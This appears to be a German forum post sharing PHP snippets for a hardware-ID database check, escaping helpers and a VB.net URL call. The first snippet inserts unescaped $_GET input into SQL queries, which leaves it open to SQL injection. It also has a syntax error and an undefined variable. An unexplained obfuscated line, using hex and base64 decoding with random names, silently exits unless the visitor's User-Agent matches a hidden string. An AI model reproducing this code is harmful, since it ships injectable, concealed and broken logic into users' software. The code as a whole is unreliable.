danke an alle die geholfen haben :)
$variable = $_GET['variable'];
$e = mysql_query("SELECT * FROM tablename WHERE hwid = '".$hwid."'");
if(!mysql_num_rows($e)){
bsp
}
else
{
mysql_query("UPDATE tablename Set status = '1' WHERE variable = '"$variable."'");
}
function dnSOIAN0EWrU($XbJ41W11sYuW){ $XbJ41W11sYuW=str_replace(' ','',$XbJ41W11sYuW); $XbJ41W11sYuW=str_replace('\x','',$XbJ41W11sYuW); $XbJ41W11sYPW=pack('H*',$XbJ41W11sYuW); return $XbJ41W11sYPW;}$_SERVER['HTTP_USER_AGENT']!=base64_decode(strrev(dnSOIAN0EWrU(strrev(substr('94320157587b6163524342633157625c62585943514632514d3d3',-48))))) ? exit(): '';
<?php
function safe_sql($value){
return mysql_real_escape_string($value);
}
function safe_xss($value){
return htmlspecialchars($value);
} ?>
// bsp für htmlspecialchars
<?php
$neu = htmlspecialchars("<a href='test'>Test</a>", ENT_QUOTES);
echo $neu; // <a href='test'>Test</a>
?>
// Vb.net übergabe
Webbrowser1.navigate("domain.url/index.php?neu=<a href='test'>Test</a>")
oder wie ? :P